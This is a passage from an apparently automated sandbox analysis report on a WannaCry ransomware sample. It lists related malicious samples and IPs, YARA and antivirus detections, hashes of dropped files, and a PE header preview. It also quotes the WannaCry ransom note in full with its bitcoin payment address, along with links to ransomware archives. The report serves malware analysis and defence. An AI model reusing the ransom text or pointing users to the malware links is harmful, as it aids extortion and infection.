                                                                                g5oo6DQ4pd.exeGet hashmaliciousUnknownBrowse
                                                                                  25hBQ7XDkh.exeGet hashmaliciousBitRAT XmrigBrowse
                                                                                    131.188.40.189Payload 94.75 (4).225.exeGet hashmaliciousKronos, Strela StealerBrowse
                                                                                    • 131.188.40.189/tor/status-vote/current/consensus
                                                                                    Payload 94.75 (2).225.exeGet hashmaliciousUnknownBrowse
                                                                                    • 131.188.40.189/tor/status-vote/current/consensus
                                                                                    6K1uYM85lS.exeGet hashmaliciousPhorpiexBrowse
                                                                                    • 131.188.40.189:443/tor/status-vote/current/consensus.z
                                                                                    R53a3ZJHBQ.exeGet hashmaliciousSystemBCBrowse
                                                                                    • 131.188.40.189/tor/status-vote/current/consensus
                                                                                    i1lq1Qpbyw.exeGet hashmaliciousSystemBCBrowse
                                                                                    • 131.188.40.189/tor/status-vote/current/consensus
                                                                                    iSyDaCjFVY.exeGet hashmaliciousSystemBCBrowse
                                                                                    • 131.188.40.189/tor/status-vote/current/consensus
                                                                                    p9CvI6kq7d.exeGet hashmaliciousSystemBCBrowse
                                                                                    • 131.188.40.189/tor/status-vote/current/consensus
                                                                                    SPXp2YHDFz.exeGet hashmaliciousUnknownBrowse
                                                                                    • 131.188.40.189/tor/status-vote/current/consensus
                                                                                    SPXp2YHDFz.exeGet hashmaliciousUnknownBrowse
                                                                                    • 131.188.40.189/tor/status-vote/current/consensus
                                                                                    ILI1MGzcig.exeGet hashmaliciousUnknownBrowse
                                                                                    • 131.188.40.189/tor/status-vote/current/consensus

                                                                                    Domains

                                                                                    ⊘No context

                                                                                    ASNs

                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                    OVHFReqRHH2whJu.exeGet hashmaliciousUnknownBrowse
                                                                                    • 94.23.158.211
                                                                                    eqRHH2whJu.exeGet hashmaliciousUnknownBrowse
                                                                                    • 94.23.158.211
                                                                                    miori.x86.elfGet hashmaliciousUnknownBrowse
                                                                                    • 151.80.169.31
                                                                                    random.exeGet hashmaliciousCStealerBrowse
                                                                                    • 51.91.7.6
                                                                                    https://universidad-unidem.edu.mx/mah/i/amFjb2JAc3RlaW5ib3JuLmNvbQ==Get hashmaliciousHTMLPhisherBrowse
                                                                                    • 91.134.9.160
                                                                                    pkt1.exeGet hashmaliciousUnknownBrowse
                                                                                    • 151.80.239.86
                                                                                    http://23.27.51.244/dr0p.exeGet hashmaliciousUnknownBrowse
                                                                                    • 151.80.239.86
                                                                                    Mes_Drivers_3.0.4.exeGet hashmaliciousUnknownBrowse
                                                                                    • 54.38.113.3
                                                                                    https://147y3.trk.elasticemail.com/tracking/click?d=l6DX1ZxoYxoIu3Ps_nHCw2dpTGYsp50KhPgdcLAPZ98lDQqXluI2jbk2Kz6cWaRjWchw5Igbhe-BSjXhcIk5khB6_31XWJ3KxF070e3rxxM9hJmShBhAM7tP0jesqnjYkgFpEuivEIV6QQKt0-F18YQ1#out/0023m/435/85jy1/26p0/41/77Get hashmaliciousUnknownBrowse
                                                                                    • 164.132.95.126
                                                                                    Mes_Drivers_3.0.4.exeGet hashmaliciousUnknownBrowse
                                                                                    • 37.59.22.41
                                                                                    OVHFReqRHH2whJu.exeGet hashmaliciousUnknownBrowse
                                                                                    • 94.23.158.211
                                                                                    eqRHH2whJu.exeGet hashmaliciousUnknownBrowse
                                                                                    • 94.23.158.211
                                                                                    miori.x86.elfGet hashmaliciousUnknownBrowse
                                                                                    • 151.80.169.31
                                                                                    random.exeGet hashmaliciousCStealerBrowse
                                                                                    • 51.91.7.6
                                                                                    https://universidad-unidem.edu.mx/mah/i/amFjb2JAc3RlaW5ib3JuLmNvbQ==Get hashmaliciousHTMLPhisherBrowse
                                                                                    • 91.134.9.160
                                                                                    pkt1.exeGet hashmaliciousUnknownBrowse
                                                                                    • 151.80.239.86
                                                                                    http://23.27.51.244/dr0p.exeGet hashmaliciousUnknownBrowse
                                                                                    • 151.80.239.86
                                                                                    Mes_Drivers_3.0.4.exeGet hashmaliciousUnknownBrowse
                                                                                    • 54.38.113.3
                                                                                    https://147y3.trk.elasticemail.com/tracking/click?d=l6DX1ZxoYxoIu3Ps_nHCw2dpTGYsp50KhPgdcLAPZ98lDQqXluI2jbk2Kz6cWaRjWchw5Igbhe-BSjXhcIk5khB6_31XWJ3KxF070e3rxxM9hJmShBhAM7tP0jesqnjYkgFpEuivEIV6QQKt0-F18YQ1#out/0023m/435/85jy1/26p0/41/77Get hashmaliciousUnknownBrowse
                                                                                    • 164.132.95.126
                                                                                    Mes_Drivers_3.0.4.exeGet hashmaliciousUnknownBrowse
                                                                                    • 37.59.22.41
                                                                                    OVHFReqRHH2whJu.exeGet hashmaliciousUnknownBrowse
                                                                                    • 94.23.158.211
                                                                                    eqRHH2whJu.exeGet hashmaliciousUnknownBrowse
                                                                                    • 94.23.158.211
                                                                                    miori.x86.elfGet hashmaliciousUnknownBrowse
                                                                                    • 151.80.169.31
                                                                                    random.exeGet hashmaliciousCStealerBrowse
                                                                                    • 51.91.7.6
                                                                                    https://universidad-unidem.edu.mx/mah/i/amFjb2JAc3RlaW5ib3JuLmNvbQ==Get hashmaliciousHTMLPhisherBrowse
                                                                                    • 91.134.9.160
                                                                                    pkt1.exeGet hashmaliciousUnknownBrowse
                                                                                    • 151.80.239.86
                                                                                    http://23.27.51.244/dr0p.exeGet hashmaliciousUnknownBrowse
                                                                                    • 151.80.239.86
                                                                                    Mes_Drivers_3.0.4.exeGet hashmaliciousUnknownBrowse
                                                                                    • 54.38.113.3
                                                                                    https://147y3.trk.elasticemail.com/tracking/click?d=l6DX1ZxoYxoIu3Ps_nHCw2dpTGYsp50KhPgdcLAPZ98lDQqXluI2jbk2Kz6cWaRjWchw5Igbhe-BSjXhcIk5khB6_31XWJ3KxF070e3rxxM9hJmShBhAM7tP0jesqnjYkgFpEuivEIV6QQKt0-F18YQ1#out/0023m/435/85jy1/26p0/41/77Get hashmaliciousUnknownBrowse
                                                                                    • 164.132.95.126
                                                                                    Mes_Drivers_3.0.4.exeGet hashmaliciousUnknownBrowse
                                                                                    • 37.59.22.41
                                                                                    DFNVereinzurFoerderungeinesDeutschenForschungsnetzese174.exeGet hashmaliciousXmrigBrowse
                                                                                    • 141.94.96.144
                                                                                    miori.x86.elfGet hashmaliciousUnknownBrowse
                                                                                    • 139.23.153.106
                                                                                    botnet.spc.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                    • 149.201.112.32
                                                                                    sora.sh4.elfGet hashmaliciousMiraiBrowse
                                                                                    • 141.41.31.100
                                                                                    miori.mpsl.elfGet hashmaliciousUnknownBrowse
                                                                                    • 141.9.190.214
                                                                                    miori.x86.elfGet hashmaliciousUnknownBrowse
                                                                                    • 141.35.196.174
                                                                                    arm4.elfGet hashmaliciousMiraiBrowse
                                                                                    • 141.61.212.213
                                                                                    mpsl.elfGet hashmaliciousMiraiBrowse
                                                                                    • 130.133.207.68
                                                                                    http://www.housepricesintheuk.co.ukGet hashmaliciousUnknownBrowse
                                                                                    • 141.95.98.65
                                                                                    3.elfGet hashmaliciousUnknownBrowse
                                                                                    • 134.104.8.188

                                                                                    JA3 Fingerprints

                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                    e7d705a3286e19ea42f587b344ee6865LisectAVT_2403002A_223.exeGet hashmaliciousWannacryBrowse
                                                                                    • 131.188.40.189
                                                                                    • 198.50.191.95
                                                                                    https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipGet hashmaliciousConti, WannacryBrowse
                                                                                    • 131.188.40.189
                                                                                    • 198.50.191.95
                                                                                    Request for Quotation (RFQ_196).zip.zipGet hashmaliciousWannacry, ContiBrowse
                                                                                    • 131.188.40.189
                                                                                    • 198.50.191.95
                                                                                    https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/raw/master/Ransomware.WannaCry.zipGet hashmaliciousWannacry, ContiBrowse
                                                                                    • 131.188.40.189
                                                                                    • 198.50.191.95
                                                                                    Wannacry.exeGet hashmaliciousWannacry, ContiBrowse
                                                                                    • 131.188.40.189
                                                                                    • 198.50.191.95
                                                                                    WannaCry.cmdGet hashmaliciousWannacry, ContiBrowse
                                                                                    • 131.188.40.189
                                                                                    • 198.50.191.95
                                                                                    2N2jefqo8e.exeGet hashmaliciousWannacry, ContiBrowse
                                                                                    • 131.188.40.189
                                                                                    • 198.50.191.95

                                                                                    Dropped Files

                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                    C:\@WanaDecryptor@.exeWannaCry.bin.zipGet hashmaliciousConti, WannacryBrowse
                                                                                      f_000112Get hashmaliciousConti, WannacryBrowse
                                                                                        WannaCry_2.EXEGet hashmaliciousWannacryBrowse
                                                                                          ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeGet hashmaliciousWannacry, BdaejecBrowse
                                                                                            LisectAVT_2403002A_126.EXE.exeGet hashmaliciousWannacry, ContiBrowse
                                                                                              LisectAVT_2403002A_126.EXE.exeGet hashmaliciousWannacryBrowse
                                                                                                LisectAVT_2403002A_223.exeGet hashmaliciousWannacryBrowse
                                                                                                  https://github.com/limiteci/WannaCryGet hashmaliciousWannacryBrowse
                                                                                                    https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipGet hashmaliciousConti, WannacryBrowse
                                                                                                      C:\Users\user\AppData\Local\@WanaDecryptor@.exeWannaCry.bin.zipGet hashmaliciousConti, WannacryBrowse
                                                                                                        f_000112Get hashmaliciousConti, WannacryBrowse
                                                                                                          WannaCry_2.EXEGet hashmaliciousWannacryBrowse
                                                                                                            ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeGet hashmaliciousWannacry, BdaejecBrowse
                                                                                                              LisectAVT_2403002A_126.EXE.exeGet hashmaliciousWannacry, ContiBrowse
                                                                                                                LisectAVT_2403002A_126.EXE.exeGet hashmaliciousWannacryBrowse
                                                                                                                  LisectAVT_2403002A_223.exeGet hashmaliciousWannacryBrowse
                                                                                                                    https://github.com/limiteci/WannaCryGet hashmaliciousWannacryBrowse
                                                                                                                      https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipGet hashmaliciousConti, WannacryBrowse

                                                                                                                        Created / dropped Files

                                                                                                                        C:\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Yara Hits:
                                                                                                                        • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\@WanaDecryptor@.exe

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):245760
                                                                                                                        Entropy (8bit):6.278920408390635
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                        MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                        SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                        SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                        Malicious:true
                                                                                                                        Yara Hits:
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\@WanaDecryptor@.exe, Author: Joe Security
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                        • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                        Joe Sandbox View:
                                                                                                                        • Filename: WannaCry.bin.zip, Detection: malicious, Browse
                                                                                                                        • Filename: f_000112, Detection: malicious, Browse
                                                                                                                        • Filename: WannaCry_2.EXE, Detection: malicious, Browse
                                                                                                                        • Filename: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, Detection: malicious, Browse
                                                                                                                        • Filename: LisectAVT_2403002A_126.EXE.exe, Detection: malicious, Browse
                                                                                                                        • Filename: LisectAVT_2403002A_126.EXE.exe, Detection: malicious, Browse
                                                                                                                        • Filename: LisectAVT_2403002A_223.exe, Detection: malicious, Browse
                                                                                                                        • Filename: , Detection: malicious, Browse
                                                                                                                        • Filename: , Detection: malicious, Browse
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2021-09-03.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1368
                                                                                                                        Entropy (8bit):7.847358906044045
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkS0+9xpqoTcCe1T0lTWp7hmxXuoMHPWexkP02Xe0uwfxu7BIMJ3Hia5tcDS2r3O:bk2fICeh0TWnsuookM2X2qu7BIG3ES2C
                                                                                                                        MD5:343C23117983306D06221AC24A60313A
                                                                                                                        SHA1:5396B658FCF1F897C12F502C6B74C613A136EBB0
                                                                                                                        SHA-256:D6BF627D1F219BD527364610D1DBFC5F6958522D86FF77D5D334B8AB9D03D68C
                                                                                                                        SHA-512:DAC3299338CDE95C8AF4559E3ED8921BA2392667DB8997D0FF88CD410007AE002010C3A867370C586EDBAB86E55F1DE386CB234A0FF761F2D9B4AF2B2E2525DD
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....%$m|55.B...^..a."..y.A_.j....Y|.M..3._.........)tj(..q..l.,..{.DGy......F?...r.Z.W7@.@\.&W_J7.3...v]..>..3]..h...0.E..`.A.......&;.f`<.-)..le.P.......T=\.ZY.../.....y.V..AS..i.....d......#]M...6Ik...~Z..).5.....f...J...bz.q..p.^..Kd...P.z.J..9S.k....=.......|.[....hZ.w.]..2..b.F.....t..F[.@ZKPL.{.#..I.U..&......9../#h...$\-.\!.......G..p..u?I..h.S..%..U....[F3~#q.8b.......#)....U.)\.i.iK.)...h...b.7ME..LZ....\..Q.].......h.n,...@O..+.,p.]T.[.(EC:...;..1......d..CL..r....Y9<..9....-.....b..C...P..c.PW..(.%G)...JN9..CV.aUM....[.v..O..<..$I.....ep!.].D)#..#..k3.:G.Q.J~............d.jz.e..2...eSo....45e....:0....4c...7......`...E........y..Lo...M....e.>U6..4.Cf...`..T1.#...8..%.U.k..@.*I.....N...h.c......8...*n.G.=;.v......;.......'^S...%\+t......r.d....MR.Q.Y..kf.h'.K...k..N(|........I.zr..j"d:..Z........B.J....A....:.e%eu%+g.....~.1..EX8..]...)}.q.jw.~...'[+.N."...b....\*$....nV3.q.59'$.........R....K.o~.I.Z..l....G..4..g..w.J.=^V...1..

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2021-09-14.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5096
                                                                                                                        Entropy (8bit):7.963612847015317
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oOfTkU60k+aodXilAXwDeeM9cLD44b45WQjOOigwgrcVUsQ9I:VfTkUpdYOkjDYZjOOq8cV/F
                                                                                                                        MD5:101E0708A2BF2CB415E0CECA95F8AB9F
                                                                                                                        SHA1:3CD74F001F6B4CEEB0010DE7C5FC4E3BC7D00274
                                                                                                                        SHA-256:5C2CF9AE89C92D5F110A24A18368844A88CFFF3C2F63783BE20894169BA35023
                                                                                                                        SHA-512:9CAC0B8E67B21158556063DD1B79BFD653AFCF32FD641F296D73EFB95F6ACDB46690AF6C5287464286F57F3889634E77833886F1A539902866642669C38B627D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......#...o%.....DN..,..r.l3.?.V}..a..m..@.N.@..D..X..'....zA.v..:T..G........e....t..,@..(m"./.k..lU...+..y.....W.p...'Nb..JRs`y./....;....shg......;.47..K~E:.w..v...'..i'..N.w.:2.Q@.X^...=Q#..u ./x.j.?.o.r......U..I.q{.....|.z.D..iB.)..O_.....?................p.hdrl..+......n.....~{..d......S&M.%...Z.O..J...'.i...)V...-_&..H.c...M..n..6Zd...!#....g>...`.N...TF...b......ej....E}E_...AQVu.1...}......".a..K_*..g..y.K.....@j.\.....t../.O,.*.6_..v.i........Xt...<8........p._s7._..f.....z...:...S.."....!1m[J_'.......xX.ws....#....-..T.."..&;....9.+yW...9......L.8........>7.!P...O..t.9..k...;...@.95..X.(.=.........P3...ewPUL1....W..Y*..]p....^xG5q^.^..3....s.^W...|x.%..A.h:....fBO..U...e..z...{.........6i.l.y,..Q%UP......+xJnH.....Bq..hHBNl.J.g.J.7..>...K.w....=.i......../M.g.DthS=u...#.nFk...|6....Q!.S]9.eb...=/d.n*G...n.H..;..T...K..L1{..f.'8.:8.2 C..........}.IN...9.................G.A.?.JA..;.......c.l$9.....3...|>..G.e...y."...

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2021-09-22.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5096
                                                                                                                        Entropy (8bit):7.959204293646452
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:o6Wkpnw4nGLSDM+3R3W101k5tdGm44bUkE5ON+jgdZryeTwpa:4mKShG14kYqR
                                                                                                                        MD5:14332D459BF09B2ECBE00B20CCFA0085
                                                                                                                        SHA1:E4E66617614789D3B75D1052D3CA5DF769AE0DAC
                                                                                                                        SHA-256:5B744213E1DAA78DB006591A1D8BD6486C38B9935ABAB621BE9CB36F68D10992
                                                                                                                        SHA-512:B57C1A7523188E14EE5BFAB592DC701C5FBC5F423F35044C5D98308091533E4A8A7A63C760DD513C9B87EB73D420029C09AE4CD7C3352218CE2FED9D79395903
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....fV...I...)..8qEN.n.8W..Yg..TTp7.b.A7...?K..Z.?.Ko....=.|dND..6r/.... `..%......w..J.U.p.9.:i......P......n L...N...r...d....Cp..o...^..Eby..u."T..A:<%#...5....#/f.".....E..Gv8.......S...H%90t-J..y........x&...n..e.yp....n...RlIq.H.66w.....C.............Q(..2n.D.fw.:......G....[...-Dx...UL.O.RKr...>....Nmf.$m),9.'.F.)N..I...H....S.+.>...|..#.*..s.......y..n........r.H.h.=.....Q.?+.....%8..%..aC.K.,...@..4x%.[b.WB..~a.._) .?..x..k.[..."zU........x..yn.LIy~i......7.`.(.5y....~.`.-...>...............p.D.I....#P.:e;...>ai..g.?...[..>.R..GE.....%...T.l.`.t....].....<~a...o3S...:.:....ynJC.....C...:..._..=5g;.l9.f)...V9o,cywo_.}..........:...1...Y....*\.~~...........+..0xd.fh.$|0_ ...v..."...h......DX.P.T....mG$...H5#d^[:..n.....GB|k.Y........w.x........TpyXjt-..*...".aC...a.G...k.[.P..{P..x..N6/."k.q4..A!....8~....C.....gI.fvVR9d1k...K..o8f..8...].......IT.~g..f.....`.Z..yS.........rW.)....<....'c%ba..lY..\.4i...f.S........?.B.

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2022-02-23.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1768
                                                                                                                        Entropy (8bit):7.889260485482098
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkH8CxxgS7/p5IfpYzl1Oo7kDke36LkzG1vgc4GFQ:odopC3s9qbvVQ
                                                                                                                        MD5:BB801FC7A2B67521813482CE8E8E69DD
                                                                                                                        SHA1:084DA94FA6DD42B3E85E04C6D26EB4196ECEFC10
                                                                                                                        SHA-256:ECA427F66B90D973E58D23A628ABC6028C9D10768358C438BB6C8C578AD8D7F4
                                                                                                                        SHA-512:208C2EC50A77421E2D4124FCE9FF9DF39BE7204203BA490C8A234F1CAB8D87162D7540F232CA02D239825C56A0D1E8BC6617924EC4BE107F63166F30B34CFCAD
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......,l[....I.#j.?.......e.j..L.._..^.kO"h{f....q....wi.?..w.-.D..[.........H.Y...-,`*P.C..tGz.@. ......hF.a...~E...|$x..P....Y...K.{E....H...B0.a.z......m..S..Jh..7....aCkd...NJpt..h....i.]...<T..P.N.z..E..2Gyo-?'J2;....B..R29...N.c...SL^!U(.g%............e}....?.V@1A?...xpd...~...I.{..l...E.]..>.S.-.,...hr..7...lAW.....p.......Q..P......t......f......P..|..$.Q8A.>h.3.<..".]A..qb.h......@.*..%K......E.nJ..)Ge...I...[..k...0...Zc-Z.F..K..;a.1.....tD ..q9j]...&|.\E.0..ie.B-Y'*&fi.^....us.~..H...5..TL..F.i.!L.L..,..`^yH..8...j~.{uy..c..Q...r......v....;3!..`....+.#.+^....R....-..1....[.i....&'.m..dC6.....[Id.P{;k..<....k..b5......4..pI0.)!.'6#...+..Ym.'..N-.....LzF!......../q~......i........R-v.k?9.%...]l5.4......M./._... ..(>.mOn..hK.Q./....&.W.e..6......?..)L~Yf..A.c...._7....k...<T|~aJ...~..I.R.n..m......Q.......V+..S...p..}%y.........g\..v ..B........Ni......6..X..I.qb.....|G*C.....)...``....k...O.P.N...X.....xdcd|. .C.s........(.[.

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2023-05-25.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1864
                                                                                                                        Entropy (8bit):7.898736804131532
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkgkcaO5PMNK+U7Hp0PFVvOXz4+ZH2ib44GP4Qc3O:ogxNF+U7HWVWj4OHb44q4Qc3O
                                                                                                                        MD5:7239C7B9FF1773DE0CAED24A360ADDAD
                                                                                                                        SHA1:48B8B527C3107070A30C2DA544692CDB5A504C86
                                                                                                                        SHA-256:F9B67324DBC594148074A6A71B16F6C5CB0AC6B39FAF0F14BC3844CFA85444B8
                                                                                                                        SHA-512:5DCA4890B2D9A27A85CD8A29D78C50E8EAF8E5D09C53A5EEEAC0F0AF17CFB36FF3DC85E08E75A6AAE61828DF72999D23E4D1511C02108CA64355FABCA0A4851A
                                                                                                                        Malicious:false
